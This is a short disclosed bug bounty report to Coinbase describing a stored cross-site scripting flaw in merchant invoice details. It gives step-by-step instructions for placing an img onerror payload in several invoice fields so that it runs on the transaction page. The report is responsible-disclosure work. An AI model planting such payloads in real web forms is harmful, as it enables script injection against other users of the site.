Coinbase · Report #21034
Invoice Details activate JS that filled in
Validstatus
3upvotes
30 Mar 2015disclosed
How it was found
Hello security team,
I found XSS on pending invocation details. (Tested on Firefox). Scenario:
- Go to https://coinbase.com/merchant_tools?link_type=email_invoice
- Fill in valid email.
- Subject; Payment request from "><img src=y onerror=prompt(1)>
- Total Bitcoin 1 and for order put a "><img src=y onerror=prompt(1)>
- Description and Customer ID as a "><img src=y onerror=prompt(1)>
- Send the Invoice.
- Go to transaction page and click on the pending transaction.
- XSS will be activate on the total field and form field, mine is From: "><img src=y onerror=prompt(1)> ([email protected])
Attached recording POC. Best Regards,
Sasi